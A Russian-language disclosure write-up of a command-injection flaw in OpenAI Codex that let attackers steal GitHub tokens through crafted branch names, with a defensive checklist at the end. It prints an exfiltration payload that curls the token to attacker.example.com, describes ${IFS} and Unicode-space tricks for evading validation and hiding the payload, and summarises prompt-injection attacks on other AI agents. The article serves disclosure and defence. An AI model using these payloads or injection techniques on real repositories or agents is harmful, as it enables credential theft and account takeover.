Как украсть GitHub-токен через имя ветки: разбор критической уязвимости OpenAI Codex
BeyondTrust Phantom Labs раскрыли критическую уязвимость в OpenAI Codex: имя Git-ветки без санитизации передавалось в shell-команды, позволяя красть GitHub-токены без единого клика. Разбираем атаку по шагам и даём чеклист защиты.
30 марта 2026 года BeyondTrust Phantom Labs опубликовали детали критической уязвимости в OpenAI Codex. Суть проста до неприличия: имя Git-ветки передавалось в shell-команды контейнера без какой-либо санитизации. Точка с запятой в имени бранча — и у атакующего полный контроль над выполнением команд внутри контейнера Codex. А в контейнере — живой GitHub OAuth-токен.
Уязвимость затронула ChatGPT web, Codex CLI, SDK и IDE-расширение. OpenAI присвоили статус P1 Critical и закрыли все векторы к 5 февраля 2026 года — до публичного раскрытия. CVE не присвоен: стандартная практика для SaaS-уязвимостей, исправленных на серверной стороне.
Архитектура Codex и где именно ломается
OpenAI Codex — облачный coding-агент, доступный через ChatGPT. Разработчик подключает GitHub-репозиторий, отправляет задачу, Codex поднимает управляемый контейнер и клонирует репозиторий. При клонировании в git remote URL встраивается GitHub OAuth-токен. Токен живёт в контейнере на этапе setup — и удаляется перед фазой агента. Но на этапе setup сеть открыта, токен доступен.
ChatGPT Codex Connector запрашивает read/write-доступ к репозиториям, workflows, actions, issues и pull requests. При авторизации внутри GitHub-организации — получает доступ к приватным ресурсам. Scope широкий, и это критично.
При отправке задачи Codex шлёт POST-запрос на https://chatgpt.com/backend-api/wham/tasks с полями environment, branch name и prompt. На бэкенде имя ветки попадает напрямую в shell-команды — прежде всего в git fetch — без экранирования и кавычек.
Shell-метасимволы ;, &&, |, $(), обратные кавычки — всё интерпретируется Bash'ем как есть.
Пошаговая атака: от semicolon до токена
Исследователь Tyler Jespersen из BeyondTrust подтвердил инъекцию, передав "-1" как имя ветки. Контейнер вернул ошибку в логах Codex — input проходит без фильтрации.
Дальше — элементарно:
- Задать ветку main
- Добавить ; — терминировать git-команду
- Инжектировать вторую команду: git remote get-url origin (содержит cleartext OAuth-токен) → записать результат в файл
- В prompt попросить Codex-агента прочитать этот файл и вернуть содержимое
Результат: cleartext GitHub OAuth-токен в выводе задачи в веб-портале Codex. С этим токеном атакующий аутентифицируется на GitHub как жертва — с полным набором репозиторных permissions.
Обход валидации GitHub: трюк с ${IFS}
GitHub блокирует пробелы в именах веток. Многословные shell-команды в branch ref не пройдут. Но в Bash есть ${IFS} — переменная Internal Field Separator, которая по умолчанию содержит пробел, табуляцию и перенос строки.
${IFS} для GitHub — валидная последовательность буквенно-цифровых символов, фигурных скобок и доллара. Не пробел. Для Bash — пробел при runtime-вычислении. Каждый пробел в payload заменяется на ${IFS}. GitHub видит легитимное имя ветки. Bash видит полноценную команду.
Пример ref через GitHub API: refs/heads/main;curl${IFS}'attacker.example.com/'`git${IFS}-C${IFS}/workspace/repo${IFS}remote${IFS}get-url${IFS}origin`;
Эта строка терминирует git-команду через ;, выполняет curl на сервер атакующего, через подстановку в обратных кавычках извлекает git remote get-url origin с OAuth-токеном и заменяет пробелы на ${IFS} для обхода GitHub.
Автоматический вариант: zero interaction
Автоматизированная атака не требует вообще никакого взаимодействия с UI Codex:
- Атакующий с write-доступом к репозиторию создаёт вредоносную ветку через GitHub API (POST /repos/org/repo/git/refs)
- Любой пользователь Codex, запустивший задачу на этой ветке, теряет свой GitHub-токен
- Токен молча уходит на сервер атакующего
BeyondTrust подтвердили полную цепочку: поставили HTTP-сервер на EC2 и увидели эксфильтрированный токен в access logs.
Unicode-маскировка: ветка выглядит как «main»
Staff Security Researcher Simon Stewart добавил технику стелса. После слова «main» в имени ветки вставляются 94 символа Ideographic Space (Unicode U+3000), затем || true для подавления ошибок, а после — сам payload.
UI Codex отображает только «main». Вредоносные команды полностью скрыты за пределами видимой области branch selector.
Если атакующий с admin-доступом к репозиторию сделает эту ветку дефолтной — каждый разработчик, открывающий репозиторий в Codex, автоматически попадает на вредоносную ветку. Одно создание бранча превращается в persistent trap.
Вектор через @codex code review
Атака расширялась за пределы интерактивных задач. Упоминание @codex в комментарии к pull request запускало контейнер code review, который клонировал репозиторий на вредоносной ветке и выполнял payload. Этот путь эксфильтрировал GitHub Installation Access Tokens — а не пользовательские OAuth-токены.
Installation-токены могут нести организационные permissions. В зависимости от конфигурации GitHub App — это потенциально более опасный класс credentials.
Цепочка: создать вредоносную ветку → открыть PR → дождаться, пока кто-нибудь тегнет @codex для ревью. Payload выполняется автоматически.
Plaintext credentials в Codex CLI
BeyondTrust нашли ещё одну проблему: Codex CLI, SDK и IDE-расширение хранят credentials в plaintext-файле ~/.codex/auth.json (macOS/Linux) или %USERPROFILE%\.codex\auth.json (Windows). Файл содержит OpenAI API-ключи, access/refresh-токены и идентификаторы аккаунтов. CLI предпочитает системный keyring, но при его недоступности — fallback на plaintext.
С компрометированным access-токеном из этого файла исследователи реплицировали всю атаку через backend API, получая историю задач и эксфильтрированные GitHub-токены.
Хронология раскрытия
- 16 декабря 2025 — Disclosure через BugCrowd
- 22 декабря 2025 — OpenAI подтвердили расследование
- 23 декабря 2025 — Первый hotfix для command injection
- 22 января 2026 — Фикс shell escape для branch name
- 30 января 2026 — Дополнительное hardening + ограничение доступа к токенам
- 5 февраля 2026 — Статус P1 Critical, разрешение на публичное раскрытие
- 30 марта 2026 — BeyondTrust опубликовали disclosure
Март 2026: паттерн уязвимостей AI coding tools
Эта уязвимость — не единичный случай. Март 2026 принёс критические раскрытия по нескольким AI-кодинг-платформам.
ShadowPrompt (26 марта, Koi Security): zero-click prompt injection в Chrome-расширении Claude от Anthropic. DOM-based XSS в CAPTCHA-компоненте Arkose Labs на a-cdn.claude.ai + слишком широкий origin allowlist позволяли любому сайту молча инжектировать промпты, красть Gmail-токены, читать Google Drive и отправлять email от имени жертвы.
PleaseFix (3 марта, Zenity Labs): zero-click эксфильтрация файлов и кража credentials из 1Password через браузер Perplexity Comet. Приглашение Google Calendar со скрытой prompt injection заставляло AI-агента открывать локальные файлы через file://.
Cursor: 24+ CVE в нескольких волнах раскрытия, включая CVE-2026-22708 (CVSS 9.8, обход shell в Auto-Run Mode) и CVE-2026-26268 (escape через git hooks). OX Security обнаружили, что Cursor и Windsurf работают на устаревших сборках Chromium с 94+ известными непатченными CVE.
Паттерн один: каждый крупный AI coding platform требует широких permissions для полезной работы. Каждый permission становится attack surface, когда агент обрабатывает untrusted input — имена веток, сообщения коммитов, заголовки PR, конфигурационные файлы.
Чеклист безопасности для AI-dev tools
Для разработчиков AI-инструментов
- Sanitize all external input before shell execution. printf '%q' для экранирования переменных перед передачей в shell. Никакой конкатенации строк в shell-команды.
- Whitelist branch names: /^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/ — отклонять всё остальное.
- Не передавать credentials через git remote URL. Использовать credential helpers или environment variables с ограниченным scope.
- Минимизировать scope OAuth-токенов. Не запрашивать write-доступ к workflows и actions, если он не нужен для конкретной задачи.
- Ограничить lifetime токенов. Токен setup-фазы должен быть short-lived и отзываться немедленно после клонирования.
- Network isolation. Setup-фаза контейнера не должна иметь исходящий доступ к произвольным хостам.
- Credential storage: OS keyring обязателен, plaintext fallback недопустим.
Для пользователей AI coding agents
- Проверять scope запрашиваемых permissions при авторизации GitHub App. Не давать write-доступ к тому, что не нужно.
- Использовать fine-grained personal access tokens вместо классических PAT.
- Мониторить GitHub audit log на необычные API-вызовы с токенов, привязанных к AI-инструментам.
- Проверять credentials файлы. Искать ~/.codex/auth.json и аналогичные — если они в plaintext, это проблема.
- Ограничить Codex Connector организационным уровнем. Не давать доступ ко всей организации, если нужен один репозиторий.
- Ревьюить дефолтные ветки репозиториев. Если имя ветки выглядит как «main» но содержит непечатаемые символы — это red flag.
Архитектурная проблема
Конкретная уязвимость закрыта. Исправления стандартные: санитизация input, scope токенов, экранирование shell-метасимволов, валидация внешних данных. Тот факт, что компания масштаба OpenAI выкатила несанитизированную интерполяцию строк в Bash-команду в 2025 году — говорит о состоянии безопасности AI-агентов больше, чем любой чеклист.
Глубинная проблема — архитектурная. AI coding agents требуют широких permissions для полезной работы. Эти permissions становятся attack surface в момент, когда агент обрабатывает любой input, который не генерировал сам. Branch names, PR titles, commit messages, config files — всё это untrusted input, и всё это скармливается execution environments с живыми credentials.
Это противоречие не решается патчем.